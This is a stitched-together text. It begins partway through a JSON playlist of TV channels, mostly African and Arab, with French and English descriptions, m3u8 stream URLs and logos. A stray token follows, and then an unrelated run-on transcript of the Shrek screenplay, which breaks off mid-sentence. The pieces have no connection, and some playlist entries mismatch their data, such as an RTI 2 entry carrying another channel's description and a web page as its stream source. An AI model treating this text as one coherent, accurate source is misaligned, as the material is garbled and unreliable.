Maroc"},{"description":"The El Sharq channel broadcasts Various programs, from Egypt country in the Arabic language, last updated time on March 25, 2016. El Sharq which considered to view as a Free to air satellite TV channel.","sources":["https://mn-nl.mncdn.com/elsharq_live/live/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://egytvs.com/wp-content/uploads/2014/06/al-sharq-200x75.jpg","title":"Al sharq TV / Maroc"},{"description":"Guinée TV1 est une chaine de télévision généraliste Guinéenne basée à Conakry. Elle diffuse de la musique des informations des documentaires. des programmes religieux et autre.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/664825404798849938149128.m3u8"],"subtitle":"By Channel","thumb":"https://gtv1love.com/wp-content/uploads/2019/10/logo4.png","title":"GUINEE TV / Guinee "},{"description":"Inooro TV chaînes de télévision généraliste Kényane en langue Kikuyu lancé le 26 octobre 2015. Elle diffuse 24 heures sur 24. Inooro TV est une chaine du groupe Royal Media Services (RMS).","sources":["https://vidcdn.vidgyor.com/inoorotv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://royalmedia.s3.amazonaws.com/wp-content/uploads/2019/10/inoorotv.jpg","title":"INOORO TV / Kenya "},{"description":"Citizen TV Kenya est une station nationale Kényane détenue par Royal Media Services Ltd.Elle diffuse principalement en anglais et en swahili. Elle a été lancé en 1999 et relancé en Juin 2006 c’est la station de télévision avec la plus forte croissance au Kenya avec un fort accent sur ??la programmation locale Basé au Communication Centre,Maalim Juma Road,Off Dennis Pritt Road, Nairobi, 7498-00300.","sources":["https://vidcdn.vidgyor.com/citizentv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.innocirc.com/wp-content/uploads/2017/07/citizen.jpg","title":"CITIZEN TV / Kenya "},{"description":"RTJ TV ( Radio Télévision Jeune ) est une chaine de télévision culturel Sénégalaise. Elle diffuse des programme de divertissement( WatZapp le Zapping), Musique (playlist Mix Afro Mix Zouk Mix Hip Hop Musique sénégalaise), bien être, documentaire, Émission éducatif qui consiste à joindre l’utile à l’agréable à travers l'éducation des enfants, interviews ect.","sources":["http://public.acangroup.org:1935/output/rtjtv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://rtjtv.com/images/rtjtv.png","title":"RTJ TV / Senegal"},{"description":"Mouride tv est une chaine de télévision généraliste sénégalaise basé à touba, Senegal. Mouride tv c’est la télévision base au coeur des événement mourides magal, thiante, wakhtane, khassaide, kourel en direct..","sources":["http://51.81.109.113:1935/Livemouridetv/mouridetv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/sn-mouride-tv.jpg","title":"MOURIDE TV / Senegal"},{"description":"ANN TV est une chaîne d’Informations générales et de Divertissement. Elle est produite par JUUF COMMUNICATION et diffusée sur le site d’informations générales multimédia ANN. La plateforme ANN comporte un journal en ligne (ANN), une WebRadio (ANN FM) et une WebTV (ANN TV).","sources":["http://vod.acangroup.org:1935/output/anntv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://an-news.com/wp-content/uploads/2019/05/aan.png","title":"ANN TV / Senegal"},{"description":"Louga TV est une chaine culturelle et religieuse Senegalaise qui se veut attractive et objective. En temps réel, elle produit des vidéos de qualité qui tiennent compte de la spécificité de l’information et de la crédibilité de ses sources. Également, l’équipe technique et rédactionnelle est constituée de techniciens chevronnés aux compétences avérées. Dans son approche des enjeux de l’information capitale, la chaine louga tv offre des vidéos qui informent, forment et transforment le citoyen dans l’approche de son monde en devenir..","sources":["http://ira.dyndns.tv:8080/live/louga/CAnhiMtR6C/1708.m3u8"],"subtitle":"By Channel","thumb":"https://i.ytimg.com/vi/3Gnt2_SndXw/maxresdefault.jpg","title":"LOUGA TV / Senegal"},{"description":"Dieu TV est une chaine de télévision généraliste chrétienne pour la Francophonie.Elle proclame la Bonne Nouvelle du Salut en Jésus-Christ pour atteindre les 400 millions de Francophones dans le monde. Fondée en 2007. Dieu TV diffuse sur le Satellite Eutelsat 5WA (Europe et Afrique du Nord), et le Satellite Amos 5 et en streaming sur son site interne","sources":["https://katapy.hs.llnwd.net/dieutvwza1/DIEUTVLIVE/smil:dieutv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/fr-dieu-tv.jpg","title":"DIEU TV / Religion "},{"description":"Radio Télévision Hirondelle : La nouvelle couleur du Sud. Elle diffuse des émissions pour divers catégories nouvelles locales, nationales et internationales le sport du monde Entier la musique et videos clips Promotions des artistes Locaux.","sources":["http://play.acwstream.com:2000/live/acw_01/index.m3u8"],"subtitle":"By Channel","thumb":"https://radiotelehirondelle.com/wp-content/uploads/2020/08/logo.png","title":"HIRONDELLE TV"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["https://hbiptv.live/player/sakchotv/index.m3u8"],"subtitle":"By Channel","thumb":"https://image.roku.com/developer_channels/prod/1de97a21d9bd773a115a5467974be0b859d1157256316bd1e72ed48965c0191a.png","title":"BEL TV / Haiti "},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr-prod.shahid.net/masr-prod.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7c/MBC_Masr_Logo.png","title":"MBC MSR 1 / Egypte"},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr2-prod.shahid.net/masr2-prod.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/01/3c/21/013c218c3ce9b3cfc883bdcdb121e5e6.jpg","title":"MBC MSR 2 / Egypte"},{"description":"Mekameleen TV is an Egyptian opposition TV Channel. It is based in Istanbul. It's known to be supportive of the Muslim Brotherhood","sources":["https://mn-nl.mncdn.com/mekameleen/smil:mekameleentv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/12/5b/1f/125b1febb8ada3a4f83475c2643adeb7.jpg","title":"Mekameleen TV / Egypte"},{"description":"The Kingdome Sat is television from Egypte founded in 2009 by Dr. Michael Yousef, the KingdomSat channel aims to introduce written teachings from the East and West to complement the vision given by God to the loss of the faraway and to encourage believers in the Middle East and North Africa region.","sources":["https://bcovlive-a.akamaihd.net/87f7c114719b4646b7c4263c26515cf3/eu-central-1/6008340466001/profile_0/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-kingdom-sat-channe.jpg","title":"The Kingdom Sat TV / Egypt"},{"description":"D5 TV Music est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["https://www.rti.ci/direct_rti2.html"],"subtitle":"By Channel","thumb":"https://d5music.tv/wp-content/uploads/2020/07/cropped-LOGO-D5-MUSIC-BLANCROUGE_carre-192x192.png","title":"RTI 2 TV"},{"description":"A2iTV la chaine 100% immigration Senegalais, qui est née de la synergie de personnes qui ont décidé d’ unir leur force, leur compétence et leur ressources matérielles et financiéres pour participer avec l’aide des nouvelles technologies à informer sur l’ immigration .","sources":["http://51.158.31.93:1935/a2itv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/A2itv_logo.jpg","title":"A2i TV / Senegal"},{"description":"A2i music est une chaine culturelle destinée à la Diaspora avec des programmes musicales et des dramatiques. A2i music couvre aussi les autres parties du monde, notament les Etats Unis, le Canada, l’Asie, etc. à travers les boitiers Roku fournis par AfricaAstv, Acantv, My African pack de Invevo et Sénégal.","sources":["http://51.158.31.93:1935/a2itvtwo/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/a2i-music_logo.jpg","title":"A2i TV / Music "},{"description":"A2i tv Relegion est une chaine culturelle destinée à la Diasporat senegalais avec des programme chretiens.","sources":["http://51.158.31.93:1935/a2itvthree/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/wwumXcAbY83D0q-NgUv2veS-p54FJTq6LAvsPRwYwWo-70ggeDkCM1VdhqhibRQNk4o=s180-rw","title":"A2i TV / Religion "},{"description":"Love World Plus TV is your Christian faith and lifestyle channel destined to bring a new level of dynamism into Christian television programming through satellite and the internet. The reach of LoveWorld Plus is limitless.","sources":["http://hls.live.metacdn.com/2450C7/bedkcjfty/lwplus_628.m3u8"],"subtitle":"By Channel","thumb":"https://d3c5pcohbexzc4.cloudfront.net/videos/thumbs/be214-loveworldplus.jpg","title":"Love World Plus TV"},{"description":"A2i naija est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["http://51.158.31.93:1935/devtv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://image.winudf.com/v2/image/YTVjZW50cy5hMmlfc2NyZWVuXzVfMTUxNTk5NTEyNl8wNTQ/screen-5.jpg?fakeurl=1&type=.jpg","title":"A2i / naija Music"},{"description":"BOK TV is an online and public access variety show and the show's log line what would happen if In Living Color and The Daily Show had a bastard child! BOKTV is what would happen and he show is split into segments: MONOLOGUE, SKETCH, ROUND TABLE, COMMERCIAL, BLACK TWITTER. create a platform of discourse that encourages exchange as opposed to polarity, and to showcase the talents of the host and other cast members.","sources":["http://boktv.interworks.in:1935/live/boktv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://bokradio.co.za/wp-content/uploads/2017/07/button_cameratv.jpg","title":"BOK TV"},{"description":"Salt TV is a Christian television channel station from Uganda. Salt TV is based in Kampala. Matthew 5:13-16 (NKJV) Believers Are Salt and Light 13 You are the salt of the earth, but if the salt loses its flavor, how shall it be seasoned? It is then good for nothing but to be thrown out and trampled underfoot by men.","sources":["http://dcunilive38-lh.akamaihd.net/i/dclive_1@692676/index_150_av-p.m3u8"],"subtitle":"By Channel","thumb":"https://www.saltmedia.ug/images/NOV/SALT-TV.jpg","title":"Salt TV/ Uganda"},{"description":"TFM is Senegal’s privately-owned television channel.Owned by Senegalese musician Youssou N Dour, who owns a major media group in Dakar.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://3.bp.blogspot.com/-eyo4UyKqjlI/WWTobvXxLqI/AAAAAAAAB_g/BFn1KiR6vcYQMilgX4nWhGJHbHMEP_l0ACLcBGAs/s1600/tfm%2Bsenegal.png","title":"TFM TV/ Senegal"},{"description":"Africa tv1 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV1.png","title":"Africa TV 1"},{"description":"Africa tv2 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv2/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV2.png","title":"Africa TV 2"},{"description":"Africa tv3 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains de langue haoussa.","sources":["http://africatv.live.net.sa:1935/live/africatv3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.africagroup.tv/img/bgTV3.png","title":"Africa TV 3"},{"description":"La télévision nationale tunisienne 1 est la chaîne publique nationale tunisienne. Il a été officiellement lancé le 31 mai 1966, mais diffuse des programmes pilotes de manière irrégulière depuis octobre 1965, puis régulièrement depuis janvier 1966 et s’appelle la radio et la télévision tunisienne (ATT). Elle est devenue Channel 7 en 1992 et Tunisia 7 en 1997, mais elle est restée une filiale de la Société tunisienne de radio et de télévision jusqu’en 2008, a conservé le siège qu’elle partageait et la Société tunisienne de télévision avec ses chaînes de télévision nationales tunisiennes et La Tunisie 21 plus tard connue sous le nom de Télévision nationale tunisienne 2 est devenue son nouveau siège. Après le déclenchement de la révolution populaire tunisienne et la défection de zine El Abidine Ben Ali du pays, il est devenu Télévision nationale tunisienne.","sources":["http://54.36.122.126/tunisie1.m3u8"],"subtitle":"By Channel.","thumb":"https://www.histoiredesfax.com/wp-content/uploads/2015/11/Television-nationale-watania.jpg","title":"TUNISIA 1"},{"description":"Sahel TV est la plateforme unique, ouverte à la société civile, aux citoyens et à l'autorité locale de la ville et de sa région pour leur permettre de s’exprimer librement, proposer leurs idées et accéder à toutes les informations économiques, environnementale, culturelle, sportive. Vos idées et vos propositions sont les bienvenues.","sources":["http://142.44.214.231:1935/saheltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://mobiletv.mobibase.com/html/logo/hd/channel_ld_747.png","title":"SAHEL TV / Tunisie"},{"description":"NIGERIA TELEVISION AUTORTEAutorité a commencé sous le nom de Western Nigerian Television Services (WNTV), qui a transmis ses premiers signaux au peuple nigérian et à toute l'Afrique le 31 octobre 1959. Au début de 1962, les trois gouvernements régionaux qui existaient au Nigéria avaient mis en place le Service de télévision nigérian (NTS). Télévision ont été créés et en 1976, l'Autorité de la télévision nigériane est née en tant que seule entité responsable de Diffusion télévisée au Nigéria.","sources":["http://54.38.93.93/nta.m3u8"],"subtitle":"By Channel","thumb":"https://static.squarespace.com/static/53d2a092e4b0125510bfe57d/53d2a2c6e4b018cd23e33d7b/53d2a2c6e4b018cd23e33f6f/1362042333867/1000w/nta.jpg","title":"NTA TV / Nigeria"},{"description":"ESPACE TV est une télévision basée à Conakry dans la commune de Matoto Kondeboungny au bord de l'autoroute Fidèle Castro (République de Guinée). La télé diffuse des informations du pays et du monde en temps réel. Des magazines axés sur les réalités des terroirs et des séries de divertissement. Détenue par le groupe Hadafo Médias, cette chaîne est la première du pays en terme d'audience; selon le rapport de Stat view international en 2019.","sources":["http://46.105.114.82/espacetv.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/ric-bS2gzvt-UyrhBIEdWENN9U-fL9Bnlhv12GEYSzSkZFWEIr7hc74k83kfLPqZDk0","title":"Espace TV / Guinée"},{"description":" Movies Now is an Indian high-definition television channel featuring Hollywood films. It was launched on 19 December 2010 with a picture quality of 1080i and 5.1 surround sound. The channel is owned by The Times Group. It has exclusive content licensing from films produced or distributed by MGM and has content licensing from Universal Studios, Walt Disney Studios, Marvel Studios, 20th Century Studios, Warner Bros and Paramount Pictures.","sources":["https://timesnow.airtel.tv/live/MN_pull/master.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/4/49/Movies_Now_logo.png","title":"Movies Now HD"},{"description":"Tunisie Immobilier TV, la première chaîne de l’immobilier en Tunisie Vous présente toutes les semaines, les actualités immobilières et économiques en Tunisie et dans le monde à travers des reportages.contact; E-mail:tunisieimmob@planet.tn/ Tel:(+216) 71 894500.","sources":["https://5ac31d8a4c9af.streamlock.net/tunimmob/myStream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i2.wp.com/www.tunisieimmobiliertv.net/wp-content/uploads/2016/10/fb.jpg?fit=1024%2C500&ssl=1","title":"Tunisie Immobilier TV"}]}]}
rprokap
Once upon a time there was a lovely princess. But she had an enchantment upon her of a fearful sort which could only be broken by love's first kiss. She was locked away in a castle guarded by a terrible fire-breathing dragon. Many brave knights had attempted to free her from this dreadful prison, but non prevailed. She waited in the dragon's keep in the highest room of the tallest tower for her true love and true love's first kiss. (laughs) Like that's ever gonna happen. What a load of - (toilet flush) Allstar - by Smashmouth begins to play. Shrek goes about his day. While in a nearby town, the villagers get together to go after the ogre. NIGHT - NEAR SHREK'S HOME MAN1 Think it's in there? MAN2 All right. Let's get it! MAN1 Whoa. Hold on. Do you know what that thing can do to you? MAN3 Yeah, it'll grind your bones for it's bread. Shrek sneaks up behind them and laughs. SHREK Yes, well, actually, that would be a giant. Now, ogres, oh they're much worse. They'll make a suit from your freshly peeled skin. MEN No! SHREK They'll shave your liver. Squeeze the jelly from your eyes! Actually, it's quite good on toast. MAN1 Back! Back, beast! Back! I warn ya! (waves the torch at Shrek.) Shrek calmly licks his fingers and extinguishes the torch. The men shrink back away from him. Shrek roars very loudly and long and his breath extinguishes all the remaining torches until the men are in the dark. SHREK This is the part where you run away. (The men scramble to get away. He laughs.) And stay out! (looks down and picks up a piece of paper. Reads.) "Wanted. Fairy tale creatures."(He sighs and throws the paper over his shoulder.) THE NEXT DAY There is a line of fairy tale creatures. The head of the guard sits at a table paying people for bringing the fairy tale creatures to him. There are cages all around. Some of the people in line are Peter Pan, who is carrying Tinkerbell in a cage, Gipetto who's carrying Pinocchio, and a farmer who is carrying the three little pigs. GUARD All right. This one's full. Take it away! Move it along. Come on! Get up! HEAD GUARD Next! GUARD (taking the witch's broom) Give me that! Your flying days are over. (breaks the broom in half) HEAD GUARD That's 20 pieces of silver for the witch. Next! GUARD Get up! Come on! HEAD GUARD Twenty pieces. LITTLE BEAR (crying) This cage is too small. DONKEY Please, don't turn me in. I'll never be stubborn again. I can change. Please! Give me another chance! OLD WOMAN Oh, shut up. (jerks his rope) DONKEY Oh! HEAD GUARD Next! What have you got? GIPETTO This little wooden puppet. PINOCCHIO I'm not a puppet. I'm a real boy. (his nose grows) HEAD GUARD Five shillings for the possessed toy. Take it away. PINOCCHIO Father, please! Don't let them do this! Help me! Gipetto takes the money and walks off. The old woman steps up to the table. HEAD GUARD Next! What have you got? OLD WOMAN Well, I've got a talking donkey. HEAD GUARD Right. Well, that's good for ten shillings, if you can prove it. OLD WOMAN Oh, go ahead, little fella. Donkey just looks up at her. HEAD GUARD Well? OLD WOMAN Oh, oh, he's just...he's just a little nervous. He's really quite a chatterbox. Talk, you boneheaded dolt... HEAD GUARD That's it. I've heard enough. Guards! OLD WOMAN No, no, he talks! He does. (pretends to be Donkey) I can talk. I love to talk. I'm the talkingest damn thing you ever saw. HEAD GUARD Get her out of my sight. OLD WOMAN No, no! I swear! Oh! He can talk! The guards grab the old woman and she struggles with them. One of her legs flies out and kicks Tinkerbell out of Peter Pan's hands, and her cage drops on Donkey's head. He gets sprinkled with fairy dust and he's able to fly. DONKEY Hey! I can fly! PETER PAN He can fly! 3 LITTLE PIGS He can fly! HEAD GUARD He can talk! DONKEY Ha, ha! That's right, fool! Now I'm a flying, talking donkey. You might have seen a housefly, maybe even a superfly but I bet you ain't never seen a donkey fly. Ha, ha! (the pixie dust begins to wear off) Uh-oh. (he begins to sink to the ground.) He hits the ground with a thud. HEAD GUARD Seize him! (Donkey takes of running.) After him! GUARDS He's getting away! Get him! This way! Turn! Donkey keeps running and he eventually runs into Shrek. Literally. Shrek turns around to see who bumped into him. Donkey looks scared for a moment then he spots the guards coming up the path. He quickly hides behind Shrek. HEAD GUARD You there. Ogre! SHREK Aye? HEAD GUARD By the order of Lord Farquaad I am authorized to place you both under arrest and transport you to a designated resettlement facility. SHREK Oh, really? You and what army? He looks behind the guard and the guard turns to look as well and we see that the other men have run off. The guard tucks tail and runs off. Shrek laughs and goes back about his business and begins walking back to his cottage. DONKEY Can I say something to you? Listen, you was really, really, really somethin' back here. Incredible! SHREK Are you talkin' to...(he turns around and Donkey is gone) me? (he turns back around and Donkey is right in front of him.) Whoa! DONKEY Yes. I was talkin' to you. Can I tell you that you that you was great back here? Those guards! They thought they was all of that. Then you showed up, and bam! They was trippin' over themselves like babes in the woods. That really made me feel good to see that. SHREK Oh, that's great. Really. DONKEY Man, it's good to be free. SHREK Now, why don't you go celebrate your freedom with your own friends? Hmm? DONKEY But, uh, I don't have any friends. And I'm not goin' out there by myself. Hey, wait a minute! I got a great idea! I'll stick with you. You're mean, green, fightin' machine. Together we'll scare the spit out of anybody that crosses us. Shrek turns and regards Donkey for a moment before roaring very loudly. DONKEY Oh, wow! That was really scary. If you don't mind me sayin', if that don't work, your breath certainly will get the job done, 'cause you definitely need some Tic Tacs or something, 'cause you breath stinks! You almost burned the hair outta my nose, just like the time...(Shrek covers his mouth but Donkey continues to talk, so Shrek removes his hand.) ...then I ate some rotten berries. I had strong gases leaking out of my butt that day. SHREK Why are you following me? DONKEY I'll tell you why. (singing) 'Cause I'm all alone, There's no one here beside me, My problems have all gone, There's no one to deride me, But you gotta have faith... SHREK Stop singing! It's no wonder you don't have any friends. DONKEY Wow. Only a true friend would be that cruelly honest. SHREK Listen, little donkey. Take a look at me. What am I? DONKEY (looks all the way up at Shrek) Uh ...really tall? SHREK No! I'm an ogre! You know. "Grab your torch and pitchforks." Doesn't that bother you? DONKEY Nope. SHREK Really? DONKEY Really, really. SHREK Oh. DONKEY Man, I like you. What's you name? SHREK Uh, Shrek. DONKEY Shrek? Well, you know what I like about you, Shrek? You got that kind of I-don't-care-what-nobody-thinks-of-me thing. I like that. I respect that, Shrek. You all right. (They come over a hill and you can see Shrek's cottage.) Whoa! Look at that. Who'd want to live in place like that? SHREK That would be my home. DONKEY Oh! And it is lovely! Just beautiful. You know you are quite a decorator. It's amazing what you've done with such a modest budget. I like that boulder. That is a nice boulder. I guess you don't entertain much, do you? SHREK I like my privacy. DONKEY You know, I do too. That's another thing we have in common. Like I hate it when you got somebody in your face. You've trying to give them a hint, and they won't leave. There's that awkward silence. (awkward silence) Can I stay with you? SHREK Uh, what? DONKEY Can I stay with you, please? SHREK (sarcastically) Of course! DONKEY Really? SHREK No. DONKEY Please! I don't wanna go back there! You don't know what it's like to be considered a freak. (pause while he looks at Shrek) Well, maybe you do. But that's why we gotta stick together. You gotta let me stay! Please! Please! SHREK Okay! Okay! But one night only. DONKEY Ah! Thank you! (he runs inside the cottage) SHREK What are you...? (Donkey hops up onto a chair.) No! No! DONKEY This is gonna be fun! We can stay up late, swappin' manly stories, and in the mornin' I'm makin' waffles. SHREK Oh! DONKEY Where do, uh, I sleep? SHREK (irritated) Outside! DONKEY Oh, well, I guess that's cool. I mean, I don't know you, and you don't know me, so I guess outside is best, you know. Here I go. Good night. (Shrek slams the door.) (sigh) I mean, I do like the outdoors. I'm a donkey. I was born outside. I'll just be sitting by myself outside, I guess, you know. By myself, outside. I'm all alone...there's no one here beside me... SHREK'S COTTAGE - NIGHT Shrek is getting ready for dinner. He sits himself down and lights a candle made out of earwax. He begins to eat when he hears a noise. He stands up with a huff. SHREK (to Donkey) I thought I told you to stay outside. DONKEY (from the window) I am outside. There is another noise and Shrek turns to find the person that made the noise. He sees several shadows moving. He finally turns and spots 3 blind mice on his table. BLIND MOUSE1 Well, gents, it's a far cry from the farm, but what choice do we have? BLIND MOUSE2 It's not home, but it'll do just fine. GORDO (bouncing on a slug) What a lovely bed. SHREK Got ya. (Grabs a mouse, but it escapes and lands on his shoulder.) GORDO I found some cheese. (bites Shrek's ear) SHREK Ow! GORDO Blah! Awful stuff. BLIND MOUSE1 Is that you, Gordo? GORDO How did you know? SHREK Enough! (he grabs the 3 mice) What are you doing in my house? (He gets bumped from behind and he drops the mice.) Hey! (he turns and sees the Seven Dwarves with Snow White on the table.) Oh, no, no, no. Dead broad off the table. DWARF Where are we supposed to put her? The bed's taken. SHREK Huh? Shrek marches over to the bedroom and throws back the curtain. The Big Bad Wolf is sitting in the bed. The wolf just looks at him. BIG BAD WOLF What? TIME LAPSE Shrek now has the Big Bad Wolf by the collar and is dragging him to the front door. SHREK I live in a swamp. I put up signs. I'm a terrifying ogre! What do I have to do get a little privacy? (He opens the front door to throw the Wolf out and he sees that all the collected Fairy Tale Creatures are on his land.) Oh, no. No! No! The 3 bears sit around the fire, the pied piper is playing his pipe and the rats are all running to him, some elves are directing flight traffic so that the fairies and witches can land...etc. SHREK What are you doing in my swamp? (this echoes and everyone falls silent.) Gasps are heard all around. The 3 good fairies hide inside a tent. SHREK All right, get out of here. All of you, move it! Come on! Let's go! Hapaya! Hapaya! Hey! Quickly. Come on! (more dwarves run inside the house) No, no! No, no. Not there. Not there. (they shut the door on him) Oh! (turns to look at Donkey) DONKEY Hey, don't look at me. I didn't invite them. PINOCCHIO Oh, gosh, no one invited us. SHREK What? PINOCCHIO We were forced to come here. SHREK (flabbergasted) By who? LITTLE PIG Lord Farquaad. He huffed and he puffed and he...signed an eviction notice. SHREK (heavy sigh) All right. Who knows where this Farquaad guy is? Everyone looks around at each other but no one answers. DONKEY Oh, I do. I know where he is. SHREK Does anyone else know where to find him? Anyone at all? DONKEY Me! Me! SHREK Anyone? DONKEY Oh! Oh, pick me! Oh, I know! I know! Me, me! SHREK (sigh) Okay, fine. Attention, all fairy tale things. Do not get comfortable. Your welcome is officially worn out. In fact, I'm gonna see this guy Farquaad right now and get you all off my land and back where you came from! (Pause. Then the crowd goes wild.) Oh! (to Donkey) You! You're comin' with me. DONKEY All right, that's what I like to hear, man. Shrek and Donkey, two stalwart friends, off on a whirlwind big-city adventure. I love it! DONKEY (singing) On the road again. Sing it with me, Shrek. I can't wait to get on the road again. SHREK What did I say about singing? DONKEY Can I whistle? SHREK No. DONKEY Can I hum it? SHREK All right, hum it. Donkey begins to hum 'On the Road Again'. DULOC - KITCHEN A masked man is torturing the Gingerbread Man. He's continually dunking him in a glass of milk. Lord Farquaad walks in. FARQUAAD That's enough. He's ready to talk. The Gingerbread Man is pulled out of the milk and slammed down onto a cookie sheet. Farquaad laughs as he walks over to the table. However when he reaches the table we see that it goes up to his eyes. He clears his throat and the table is lowered. FARQUAAD (he picks up the Gingerbread Man's legs and plays with them) Run, run, run, as fast as you can. You can't catch me. I'm the gingerbread man. GINGERBREAD MAN You are a monster. FARQUAAD I'm not the monster here. You are. You and the rest of that fairy tale trash, poisoning my perfect world. Now, tell me! Where are the others? GINGERBREAD MAN Eat me! (He spits milk into Farquaad's eye.) FARQUAAD I've tried to be fair to you creatures. Now my patience has reached its end! Tell me or I'll...(he makes as if to pull off the Gingerbread Man's buttons) GINGERBREAD MAN No, no, not the buttons. Not my gumdrop buttons. FARQUAAD All right then. Who's hiding them? GINGERBREAD MAN Okay, I'll tell you. Do you know the muffin man? FARQUAAD The muffin man? GINGERBREAD MAN The muffin man. FARQUAAD Yes, I know the muffin man, who lives on Drury Lane? GINGERBREAD MAN Well, she's married to the muffin man. FARQUAAD The muffin man? GINGERBREAD MAN The muffin man! FARQUAAD She's married to the muffin man. The door opens and the Head Guard walks in. HEAD GUARD My lord! We found it. FARQUAAD Then what are you waiting for? Bring it in. More guards enter carrying something that is covered by a sheet. They hang up whatever it is and remove the sheet. It is the Magic Mirror. GINGERBREAD MAN (in awe) Ohhhh... FARQUAAD Magic mirror... GINGERBREAD MAN Don't tell him anything! (Farquaad picks him up and dumps him into a trash can with a lid.) No! FARQUAAD Evening. Mirror, mirror on the wall. Is this not the most perfect kingdom of them all? MIRROR Well, technically you're not a king. FARQUAAD Uh, Thelonius. (Thelonius holds up a hand mirror and smashes it with his fist.) You were saying? MIRROR What I mean is you're not a king yet. But you can become one. All you have to do is marry a princess. FARQUAAD Go on. MIRROR (chuckles nervously) So, just sit back and relax, my lord, because it's time for you to meet today's eligible bachelorettes. And here they are! Bachelorette number one is a mentally abused shut-in from a kingdom far, far away. She likes sushi and hot tubbing anytime. Her hobbies include cooking and cleaning for her two evil sisters. Please welcome Cinderella. (shows picture of Cinderella) Bachelorette number two is a cape-wearing girl from the land of fancy. Although she lives with seven other men, she's not easy. Just kiss her dead, frozen lips and find out what a live wire she is. Come on. Give it up for Snow White! (shows picture of Snow White) And last, but certainly not last, bachelorette number three is a fiery redhead from a dragon-guarded castle surrounded by hot boiling lava! But don't let that cool you off. She's a loaded pistol who likes pina colads and getting caught in the rain. Yours for the rescuing, Princess Fiona! (Shows picture of Princess Fiona) So will it be bachelorette number one, bachelorette number two or bachelorette number three? GUARDS Two! Two! Three! Three! Two! Two! Three! FARQUAAD Three? One? Three? THELONIUS Three! (holds up 2 fingers) Pick number three, my lord! FARQUAAD Okay, okay, uh, number three! MIRROR Lord Farquaad, you've chosen Princess Fiona. FARQUAAD Princess Fiona. She's perfect. All I have to do is just find someone who can go... MIRROR But I probably should mention the little thing that happens at night. FARQUAAD I'll do it. MIRROR Yes, but after sunset... FARQUAAD Silence! I will make this Princess Fiona my queen, and DuLoc will finally have the perfect king! Captain, assemble your finest men. We're going to have a tournament. (smiles evilly) DuLoc Parking Lot - Lancelot Section Shrek and Donkey come out of the field that is right by the parking lot. The castle itself is about 40 stories high. DONKEY But that's it. That's it right there. That's DuLoc. I told ya I'd find it. SHREK So, that must be Lord Farquaad's castle. DONKEY Uh-huh. That's the place. SHREK Do you think maybe he's compensating for something? (He laughs, but then groans as Donkey doesn't get the joke. He continues walking through the parking lot.) DONKEY Hey, wait. Wait up, Shrek. MAN Hurry, darling. We're late. Hurry. SHREK Hey, you! (The attendant, who is wearing a giant head that looks like Lord Farquaad, screams and begins running through the 